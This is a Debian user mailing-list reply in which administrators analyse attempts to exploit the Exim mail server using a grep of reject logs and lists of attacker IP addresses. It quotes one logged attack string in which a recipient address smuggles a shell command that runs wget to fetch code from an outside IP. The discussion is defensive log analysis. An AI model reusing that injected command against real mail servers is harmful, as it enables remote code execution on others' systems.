Groups | Search | Server Info | Keyboard shortcuts | Login | Register [http] [https] [nntp] [nntps]
Groups > linux.debian.user > #210175
| From | Reco <recoverym4n@enotuniq.net> |
|---|---|
| Newsgroups | linux.debian.user |
| Subject | Re: Exim latest update reports to world as 4.89, which the world thinks is vulnerable. |
| Date | 2019-06-21 08:10 +0200 |
| Message-ID | <ybkUh-r2-3@gated-at.bofh.it> (permalink) |
| References | (2 earlier) <ybaid-24z-7@gated-at.bofh.it> <ybarT-28p-7@gated-at.bofh.it> <ybbeh-2EX-1@gated-at.bofh.it> <ybbnY-2Iz-5@gated-at.bofh.it> <ybc0F-3bo-3@gated-at.bofh.it> |
| Organization | linux.* mail to news gateway |
Hi.
On Fri, Jun 21, 2019 at 06:36:20AM +1000, Andrew McGlashan wrote:
> On 21/6/19 5:52 am, Reco wrote:
> > Plain old grep is more than enough here. This one:
> >
> > grep 'run{' /var/log/exim4/reject*
> >
> > finds things like these:
> >
> > 2019-06-19 18:54:43 H=(service.com) [107.182.225.42]
> > F=<support@service.com> rejected RCPT
> > <root+${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x2064.50.180.45\x2ftmp\x2fxxx.
> xxx.xxx.xxx\x22}}@localhost>:
> > Unrouteable address
>
> Okay:
> 21 attempts from 8 different IP addresses on one server
> 1 [163.172.157.143]
> 2 [188.138.0.205]
> 3 [23.129.64.152]
> 4 [23.129.64.193]
> 5 [27.69.172.214]
> 6 [45.55.94.254]
> 7 [51.15.227.108]
> 8 [89.248.171.57]
>
> 28 attempts on another server
> 1 [149.56.142.192]
> 2 [163.172.157.143]
> 3 [188.138.0.205]
> 4 [27.69.172.229]
> 5 [51.15.227.108]
> 6 [51.77.148.55]
> 7 [85.58.114.228]
> 8 [89.248.171.57]
>
> 17 attempts on another server
> 1 [188.138.0.205]
> 2 [89.248.171.57]
> 3 [98.158.184.125]
>
>
> 13 unique IP addresses so far.... (dig -x output)
>
> 1 149.56.142.192 192.ip-149-56-142.net.
> 2 163.172.157.143 143-157-172-163.rev.cloud.scaleway.com.
> 3 188.138.0.205 static-ip-188-138-0-205.inaddr.ip-pool.com.
> 4 23.129.64.152
> 5 23.129.64.193
> 6 27.69.172.214 localhost.
> 7 27.69.172.229 localhost.
> 8 45.55.94.254
> 9 51.15.227.108 108-227-15-51.rev.cloud.scaleway.com.
> 10 51.77.148.55 55.ip-51-77-148.eu.
> 11 85.58.114.228 228.pool85-58-114.dynamic.orange.es.
> 12 89.248.171.57 scanner20.openportstats.com.
> 13 98.158.184.125 206.217.215.125.static.midphase.com.
What I'm most interested is here is the time distribution.
I.e. has the number of exploitation attempts lowered after the Exim
banner change? Stayed the same?
Reco
Back to linux.debian.user | Previous | Next — Previous in thread | Next in thread | Find similar | Unroll thread
Exim latest update reports to world as 4.89, which the world thinks is vulnerable. Andrew McGlashan <andrew.mcglashan@affinityvision.com.au> - 2019-06-20 15:30 +0200
Re: Exim latest update reports to world as 4.89, which the world thinks is vulnerable. Greg Wooledge <wooledg@eeg.ccf.org> - 2019-06-20 15:50 +0200
Re: Exim latest update reports to world as 4.89, which the world thinks is vulnerable. Reco <recoverym4n@enotuniq.net> - 2019-06-20 15:50 +0200
Re: Exim latest update reports to world as 4.89, which the world thinks is vulnerable. Andrew McGlashan <andrew.mcglashan@affinityvision.com.au> - 2019-06-20 20:50 +0200
Re: Exim latest update reports to world as 4.89, which the world thinks is vulnerable. Reco <recoverym4n@enotuniq.net> - 2019-06-20 21:00 +0200
Re: Exim latest update reports to world as 4.89, which the world thinks is vulnerable. Andrew McGlashan <andrew.mcglashan@affinityvision.com.au> - 2019-06-20 21:50 +0200
Re: Exim latest update reports to world as 4.89, which the world thinks is vulnerable. Reco <recoverym4n@enotuniq.net> - 2019-06-20 22:00 +0200
Re: Exim latest update reports to world as 4.89, which the world thinks is vulnerable. Andrew McGlashan <andrew.mcglashan@affinityvision.com.au> - 2019-06-20 22:40 +0200
Re: Exim latest update reports to world as 4.89, which the world thinks is vulnerable. Brian <ad44@cityscape.co.uk> - 2019-06-21 00:00 +0200
Re: Exim latest update reports to world as 4.89, which the world thinks is vulnerable. Michael Stone <mstone@debian.org> - 2019-06-21 00:00 +0200
Re: Exim latest update reports to world as 4.89, which the world thinks is vulnerable. Reco <recoverym4n@enotuniq.net> - 2019-06-21 08:10 +0200
Re: Exim latest update reports to world as 4.89, which the world thinks is vulnerable. Andrew McGlashan <andrew.mcglashan@affinityvision.com.au> - 2019-06-21 13:20 +0200
Re: Exim latest update reports to world as 4.89, which the world thinks is vulnerable. Brian <ad44@cityscape.co.uk> - 2019-06-21 21:00 +0200
Re: Exim latest update reports to world as 4.89, which the world thinks is vulnerable. Brian <ad44@cityscape.co.uk> - 2019-06-20 16:00 +0200
Re: Exim latest update reports to world as 4.89, which the world thinks is vulnerable. Andrew McGlashan <andrew.mcglashan@affinityvision.com.au> - 2019-06-20 20:20 +0200
Re: Exim latest update reports to world as 4.89, which the world thinks is vulnerable. Brian <ad44@cityscape.co.uk> - 2019-06-20 21:50 +0200
Re: Exim latest update reports to world as 4.89, which the world thinks is vulnerable. Andy Smith <andy@strugglers.net> - 2019-06-22 21:10 +0200
csiph-web